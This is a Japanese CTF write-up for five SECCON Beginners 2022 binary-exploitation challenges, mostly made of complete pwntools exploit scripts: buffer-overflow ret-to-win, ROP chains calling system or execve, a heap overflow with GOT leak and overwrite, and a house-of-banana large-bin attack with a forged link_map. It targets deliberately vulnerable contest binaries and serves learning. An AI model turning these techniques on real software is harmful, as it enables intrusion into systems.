SECCON Beginners 2022 Writeup
SECCON Beginners 2022に参加しました。
pwnはMonkey Heap以外は解けたのですが、時間内にMonkey Heapを解くことはできませんでした。
BeginnersBof (155 solve)
What's your name?ubuntu@:~/Desktop$ nc beginnersbof.quals.beginners.seccon.jp 9000 How long is your name?12 What's your name? TEST Hello TEST
最初に文字数を聞かれて、その後文字列の入力をすると返してくれる。
普通にBoFがある。
また、checksecをすると下記の通りかなり薄い。
0x0000000000401315 in main () gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
ソースコードが配布されていて、win()関数が存在する。
PIEも無効、Canaryもないので、Returnアドレスを書き換えるだけでシェルが取れる。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/seccon/BeginnersBof/chall") #p=process("//home/ubuntu/Desktop/ctf/seccon/BeginnersBof/chall" # , aslr=False) p=remote("beginnersbof.quals.beginners.seccon.jp",9000) #gdb.attach(p) p.sendlineafter("How long is your name?", str(0x50)) p.sendlineafter("What's your name?", cyclic(40)+p64(elf.symbols["win"])) p.interactive()
raindrop (52 solve)
下記のような教育的なROPの問題
ubuntu@ip-:~/Desktop/ctf/seccon/raindrop/raindrop$ ./chall Hey! You are now going to try a simple problem using stack buffer overflow and ROP. I will list some keywords that will give you hints, so please look them up if you don't understand them. - stack buffer overflow - return oriented programming - calling conventions stack dump... [Index] |[Value] ========+=================== 000000 | 0x0000000000000000 <- buf 000001 | 0x0000000000000000 000002 | 0x00007ffc89593b80 <- saved rbp 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish You can earn points by submitting the contents of flag.txt Did you understand? AAAAAAAAAAA bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x4141414141414141 <- buf 000001 | 0x000000000a414141 000002 | 0x00007ffc89593b80 <- saved rbp 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish
セキュリティ機構もかなり薄い。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
rp++でgadgetを探してみると、pop rdiのgadgetがある。
0x00401453をつかってROPしていけばよい。
ubuntu@ip-:~/Desktop/ctf/seccon/raindrop/raindrop$ rp-lin-x64 -r 1 -f chall --unique | grep "rdi" 0x0040143a: call qword [rdi+rbx*8] ; (1 found) 0x00401146: or dword [rdi+0x00404058], edi ; jmp rax ; (1 found) 0x00401438: out 0x41, eax ; call qword [rdi+rbx*8] ; (1 found) 0x00401453: pop rdi ; ret ; (1 found)
このプログラムの中ではsystem関数を呼んでいるので、
ret2pltによってrdiにflag.txtを入れたうえでcat systemをするだけだと思ったが、(/bin/shでもいいと思うが)
スタックアラインメントで落ちてしまう。ret gadgetを使ってstackを調整しようにも、stackが足りない。
どうしたものか…と5分ほど思ったが pltから呼ぶ必要はない。
ソースコードの中にある、help関数の中のアドレスを指定して飛ぶことができた。
import logging from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/seccon/raindrop/raindrop/chall") p=process("/home/ubuntu/Desktop/ctf/seccon/raindrop/raindrop/chall" , aslr=False) #p=remote("beginnersbof.quals.beginners.seccon.jp",9000) gdb.attach(p) p.recvuntil(" 000002 | ") stack_leak=int(p.recv(18), 16) p.recvuntil(" 000003 | ") base_leak=int(p.recv(18), 16) log.info("stack_address is "+hex(stack_leak)) pop_rdi=0x00401453 system_func=0x4011e5 p.sendline("/bin/sh".encode()+b"\x00"+p64(0)+p64(0xdeadbeef) +p64(pop_rdi)+p64(stack_leak-0x20)+p64(system_func)) p.interactive()
simplelist (32 solve)
下記の通りシンプルなメモ。
よくあるヒープ問題に見える。
ubuntu@ip-:~/Desktop/ctf/seccon/simplelist$ ./chall Welcome to memo organizer 1. Create new memo 2. Edit existing memo 3. Show memo 4. Exit > 1 [debug] new memo allocated at 0x227f2a0 Content: AAAA first entry created at 0x227f2a0 1. Create new memo 2. Edit existing memo 3. Show memo 4. Exit > 3 List of current memos -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- [debug] memo_list[0](0x227f2a0)->content(0x227f2a8) AAAA [debug] next(0x227f2a0): (nil) -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
print debugができるので、heapのアドレスのリークができる。
また、色々やってるとHeap BOFがあることがわかる。
libc versionは2.33で比較的新しい気がするが、
typedef struct memo { struct memo *next; char content[CONTENT_SIZE]; } Memo;
上記の構造体をbofで書き換えることができる。
この問題はfreeが無いが隣接したチャンクを書き換えることができるので、
文字列ポインタを書き換えることで何とかgotからleakできそう。
かつ、内容も書き換えることができる。
これでAARもAAWもあるので終わり。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
RELROもPIEもdisableなので、GOTからlibcをリークできるし
GOT overwriteでシェルをとることができる。
import logging from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/seccon/simplelist/chall") libc=ELF("/home/ubuntu/Desktop/ctf/seccon/simplelist/libc-2.33.so") #p=process("/home/ubuntu/Desktop/ctf/seccon/simplelist/chall" # , aslr=False) p=remote("simplelist.quals.beginners.seccon.jp",9003) #gdb.attach(p) def create_memo(content): p.sendlineafter(">", "1") p.recvuntil("new memo allocated at ") pointer=int(p.recvline(),16) p.sendlineafter("Content:", content) return(pointer) def edit_memo(index, content): p.sendlineafter(">", "2") p.sendlineafter("index", str(index)) p.recvuntil("Old content: ") old=p.recvline() p.sendlineafter("New content:", content) return old create_memo(cyclic(0x18)) create_memo(cyclic(0x18)) create_memo(cyclic(0x18)) atoi=0x00000000004010d6 edit_memo(1, "A".encode()*0x18+p64(0)+p64(0x31)+p64(elf.got["setvbuf"])) libc_base=u64(edit_memo(3, p64(atoi))[0:6].ljust(8,b"\x00"))-libc.symbols["atoi"] log.info("libc base is:"+hex(libc_base)) #over write atoi to system edit_memo(3, p64(libc_base+libc.symbols["system"])) p.interactive()
取り合えずatoiからlibc leakして、そのあとはatoiのGOTをover writeした。
そのあと、/bin/shを入れるとシェルが取れる。
snowdrop (44 solve)
raindropとほとんど同じ。
セキュリティ機構は下記の通り
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
基本的にはbofがある。スタックの長さもraindropより長いので、ropできる。
0x0044b5f7: pop rax ; ret ; (5 found) 0x00401b84: pop rdi ; ret ; (166 found) 0x0040a29e: pop rsi ; ret ; (37 found) 0x004186f4: syscall ; ret ; (8 found)
ROPしてexecveをする。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/seccon/snowdrop/chall") #p=process("/home/ubuntu/Desktop/ctf/seccon/snowdrop/chall" # , aslr=False) p=remote("snowdrop.quals.beginners.seccon.jp",9002) #gdb.attach(p) p.recvuntil(" 000003 | ") base_leak=int(p.recv(18), 16) p.recvuntil(" 000006 | ") stack_leak=int(p.recv(18), 16) log.info("stack_address is "+hex(stack_leak)) pop_rdi=0x00401b84 pop_rax=0x0044b5f7 pop_rsi=0x0040a29e syscall=0x004186f4 p.sendline("/bin/sh".encode()+b"\x00"+p64(0)+p64(0xdeadbeef) +p64(pop_rdi)+p64(stack_leak-0x268) +p64(pop_rax)+p64(59) +p64(pop_rsi)+p64(0x0) +p64(syscall)) p.interactive()
Monkey Heap (3 solve)
解けなかった。
なぜか私の環境だとPIEが無効に見えた。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
(本当はPIE有効なのだが…)
PIEが無効だと、Large bin attackでpapyrusが保存されているBSS領域にchunkのアドレスを入れ、
Unsafe unlinkを使うことでpapyrusのアドレスを書き換えることができてAAW, AARのPrimitiveを作ることができる。
これで、libc のenvironからスタックアドレスリークをしてROPをすることでシェルをとることができた。(glibc 2.31だが…)
しかし、PIEが有効だと、papyrusのアドレスを特定することができない。
その後、何時間か粘った。
自分の中で試した手法は下記。
1…large bin attackでglobal_max_fastの書き換えからの、fastbin unlinkでlibc内書き換え(いわゆる house of corrosion)
→ この問題は、mallocできるサイズに自由度が無い。(0x500 - 0x600まで)これだと、libc内で書き換えることができる領域が無い。
2…large bin attackでglobal_max_fastの書き換えからの、fastbin dupでどこか書き換え
→ fastbin unlinkの際のサイズ制限とalignmentによってまともに動かなかった。
3…large bin attackでlibcのstdinのvtable(_IO_file_jumps)ポインタの書き換えて、_IO_file_jumpsを偽造
→ vtableの範囲チェックに触れて動かなかった。
ということで、お手上げになった。
large bin attackで、チャンクのメモリアドレスを任意のアドレスに書き込むことができるが、
どうしてもprocess baseアドレスがわからなかったり、うまくいく方法が無い。
ついでにいうとglibc 2.35の環境が私の手元に無い。
ポイントはexit関数のflowを操作することだったように見える。
exitの中では色々な関数が呼ばれている。例えば__call_tls_dtors (void)とか。
作問者様のツイートを見たところ、house of bananaというのが想定解法らしい。
house of bananaは初耳だったが、exit関数の中のフローをハイジャックする手法の様だ。
これはどうやらlarge bin attackによって_rtld_global構造体なるものを書き換えるテクニックらしい
house of banana | C4SE
Glibc 2.33利用技巧 | Nop's Blog
上記のサイトを参考にさせていただいた。
_rtld_global構造体はld.soの中に入っている。
rtld.c source code [glibc/elf/rtld.c] - Woboq Code Browser
私の環境glibc2.31だと下記のようになっていた。
(すごく長いので途中で切ってる)
gdb-peda$ p *((struct rtld_global *)0x155555554060) $1 = { _dl_ns = {{ _ns_loaded = 0x155555555190, _ns_nloaded = 0x4, _ns_main_searchlist = 0x155555555450, _ns_global_scope_alloc = 0x0, _ns_global_scope_pending_adds = 0x0, _ns_unique_sym_table = {
いくつかのメンバを持っているが、この構造体が_dl_fini関数の中で使われているらしい
この構造体の_ns_loaded = 0x155555555190これがlink map構造体を指している。
linkmap構造体は下記のような形をしている。
gdb-peda$ p *((struct link_map *)0x155555555190) $2 = { l_addr = 0x555555554000, l_name = 0x155555555730 "", l_ld = 0x555555557d80, l_next = 0x155555555740, l_prev = 0x0, l_real = 0x155555555190, l_ns = 0x0, l_libname = 0x155555555718, l_info = {0x0, 0x555555557d80, 0x555555557e60, 0x555555557e50, 0x0, 0x555555557e00, 0x555555557e10, 0x555555557e90, 0x555555557ea0, 0x555555557eb0, 0x555555557e20, 0x555555557e30, 0x555555557d90, 0x555555557da0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555557e70, 0x555555557e40, 0x0, 0x555555557e80, 0x555555557ed0, 0x555555557db0, 0x555555557dd0, 0x555555557dc0, 0x555555557de0, 0x0, 0x555555557ec0, 0x0, 0x0, 0x0, 0x0, 0x555555557ef0, 0x555555557ee0, 0x0, 0x0, 0x555555557ed0, 0x0, 0x555555557f10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555557f00, 0x0 <repeats 25 times>, 0x555555557df0}, l_phdr = 0x555555554040, l_entry = 0x555555555180, l_phnum = 0xd, l_ldnum = 0x0, l_searchlist = { r_list = 0x15555551e560, r_nlist = 0x3 }, l_symbolic_searchlist = { r_list = 0x155555555710, r_nlist = 0x0 }, l_loader = 0x0, l_versions = 0x15555551e580, l_nversions = 0x5, l_nbuckets = 0x3, l_gnu_bitmask_idxbits = 0x0, l_gnu_shift = 0x6, l_gnu_bitmask = 0x5555555543b0, { l_gnu_buckets = 0x5555555543b8, l_chain = 0x5555555543b8 }, { l_gnu_chain_zero = 0x555555554388, l_buckets = 0x555555554388 }, l_direct_opencount = 0x1, l_type = lt_executable, l_relocated = 0x1, l_init_called = 0x1, l_global = 0x1, l_reserved = 0x0, --Type <RET> for more, q to quit, c to continue without paging--
これまた非常に長い構造体だが、l->l_infoの中で.fini_arrayを指し示すポインタがあって、
そこが_dl_finiで下記のように参照されて呼ばれている。
/* First see whether an array is given. */ if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
処理を追っていくことにする。
__run_exit_handlerの中でcall rdxがある。これで、シンボルのない謎の関数に飛んでいる。
この関数が__dl_finiである。
gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] RAX: 0x155555519ca0 --> 0x0 RBX: 0x155555518718 --> 0x155555519ca0 --> 0x0 RCX: 0x1 RDX: 0x155555537d50 (endbr64) RSI: 0x0 RDI: 0x0 RBP: 0x0 RSP: 0x7fffffffec80 --> 0x5555555555e0 (<__libc_csu_init>: endbr64) RIP: 0x1555553728d5 (<__run_exit_handlers+245>: call rdx) R8 : 0xd ('\r') R9 : 0x0 R10: 0x1555554c7ac0 --> 0x100000000 R11: 0x246 R12: 0x0 R13: 0x1 R14: 0x15555551d2e8 --> 0x0 R15: 0x155555519ca0 --> 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x1555553728c6 <__run_exit_handlers+230>: mov esi,ebp 0x1555553728c8 <__run_exit_handlers+232>: ror rdx,0x11 0x1555553728cc <__run_exit_handlers+236>: xor rdx,QWORD PTR fs:0x30 => 0x1555553728d5 <__run_exit_handlers+245>: call rdx 0x1555553728d7 <__run_exit_handlers+247>: jmp 0x15555537284a <__run_exit_handlers+106> 0x1555553728dc <__run_exit_handlers+252>: nop DWORD PTR [rax+0x0] 0x1555553728e0 <__run_exit_handlers+256>: mov rax,QWORD PTR [rax+0x18] 0x1555553728e4 <__run_exit_handlers+260>: ror rax,0x11 Guessed arguments: arg[0]: 0x0 arg[1]: 0x0 arg[2]: 0x155555537d50 (endbr64) [------------------------------------stack-------------------------------------] 0000| 0x7fffffffec80 --> 0x5555555555e0 (<__libc_csu_init>: endbr64) 0008| 0x7fffffffec88 --> 0x1ffffecd0 0016| 0x7fffffffec90 --> 0x555555555180 (<_start>: endbr64) 0024| 0x7fffffffec98 --> 0x5555555555e0 (<__libc_csu_init>: endbr64) 0032| 0x7fffffffeca0 --> 0x0 0040| 0x7fffffffeca8 --> 0x555555555180 (<_start>: endbr64) 0048| 0x7fffffffecb0 --> 0x7fffffffedc0 --> 0x1 0056| 0x7fffffffecb8 --> 0x0 [------------------------------------------------------------------------------]
__dl_fixに飛ぶところ。
やるべきことは、link_mapの偽造を行って、指定したアドレスに飛ばすことなのだが
それがなかなか難しい。
適当なlink mapを入れてみればいかに難しいかわかるだろう。
たとえば 偽のlink_mapが保存されているmalloc chunkのアドレスをheap_leakとすると
link_map=p64(0)*32 + p64(heap_leak+0x120)+p64(0)+p64(0xdeadbeef)
これをlink_mapとしていれると、途中にあるチェックに引っかかってしまう。
Inconsistency detected by ld.so: dl-fini.c: 87: _dl_fini: Assertion `ns != LM_ID_BASE || i == nloaded' failed!
制約をうまくクリアできるようなlink mapを作っていくこととする。
試してみるとわかるが、とにかく難しい。
とりあえずpocをまねしつつ、dl_fixとにらめっこしながら通るのを書き上げた
import warnings from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] warnings.simplefilter('ignore') p=process("/hostshare/monkey/bin/chall" , aslr=True ,env={"LD_PRELOAD" : "/hostshare/monkey/bin/libc.so.6"} ) #p=remote("monkey.quals.beginners.seccon.jp",9999) #gdb.attach(p) def new_papyrus(index, size): p.sendlineafter(">", str(1)) p.sendlineafter("index:", str(index)) p.sendlineafter("size:", str(size)) return def write_papyrus(index, data): p.sendlineafter(">", str(2)) p.sendlineafter("index:", str(index)) p.sendlineafter("data:", data) return def read_papyrus(index): p.sendlineafter(">", str(3)) p.sendlineafter("index:", str(index)) p.recvuntil("papyrus:") return p.recvline() def burn_papyrus(index): p.sendlineafter(">", str(4)) p.sendlineafter("index:", str(index)) return new_papyrus(0, 0x528) new_papyrus(1, 0x548) new_papyrus(2, 0x518) new_papyrus(3, 0x548) burn_papyrus(0) burn_papyrus(2) p.sendlineafter(">", str(3)) p.sendlineafter("index:", str(0)) p.recvuntil("papyrus: ") libc_leak=u64(p.recvuntil(">").replace(">".encode(),"".encode()).ljust(8, b"\x00")) log.info("libc_leak is :"+hex(libc_leak)) p.sendline(str(3)) p.sendlineafter("index:", str(2)) p.recvuntil("papyrus: ") heap_leak=u64(p.recvuntil(">").replace(">".encode(),"".encode()).ljust(8, b"\x00")) log.info("heap_leak is :"+hex(heap_leak)) libc_base=libc_leak-0x219CE0 #remote #libc_base=libc_leak-0x1ECBE0 #local log.info("libc base is :"+hex(libc_base)) p.sendline(str(1)) p.sendlineafter("index:", str(0)) p.sendlineafter("size:", str(0x528)) new_papyrus(2, 0x518) # large bin attack to make global_max_fast bigger # free p1 (into unsorted bin) burn_papyrus(0) # malloc p3 (largest) to make chunk 0 into large bin new_papyrus(3, 0x548) # free p2 (into unsorted bin) burn_papyrus(2) # over write _rtld_global addres_of_linfo=libc_base+0x264040 #remote #addres_of_linfo=libc_base+0x228060 write_papyrus(0, p64(libc_leak+0x430)+p64(libc_leak+0x430)+p64(heap_leak)+p64(addres_of_linfo-0x20)) # malloc p3 to make p2 into large bin. new_papyrus(3, 0x548) large_bin=heap_leak+0xA80 one_gadget = 0xebcf1 log.info("one gadget is "+hex(libc_base+one_gadget)) link_map=p64(large_bin+0xdad)\ +p64(large_bin+0x20)\ +p64(large_bin+0x620)\ +p64(large_bin)\ +p64(0)\ +p64(large_bin+0x28)+p64(large_bin+0x50)\ +p64(large_bin+0x20)\ +p64(large_bin+0x28)\ +p64(0)+p64(0)+p64(0)+p64(0)\ +p64(large_bin+0x50)+p64(0)*18\ +p64(large_bin+0x190)+p64(0)\ +p64(large_bin+0x128)+p64(0)\ +p64(0x8)+p64(0)*11+p64(0x1a)+p64(large_bin+0x320)+p64(0)+p64(0)*46+p64(0x0000000800000001)+p64(libc_base+one_gadget) write_papyrus(2, link_map) p.sendline("5") p.interactive()
そしてローカルの2.35では動くのに、リモートでは動かない。
これは原因不明だし心が折れた。
ちなみに、_dl_rtld_lock_recursiveを書き換えてもRIPを取れるようだ。
とりあえず書き換えてみたら確かにRIPは取れた。
とはいえ、今回のケースは、AAWはまだないので、この方法は直接は使えない。
(heap領域に飛ばして終わりになっちゃう)
malloc hookとかがなくなった世界では役立ちそうな候補ですね。
…_IO_list_all書き換えでhouse of orangeできたりしないのかな?
暇な時にやってみたい。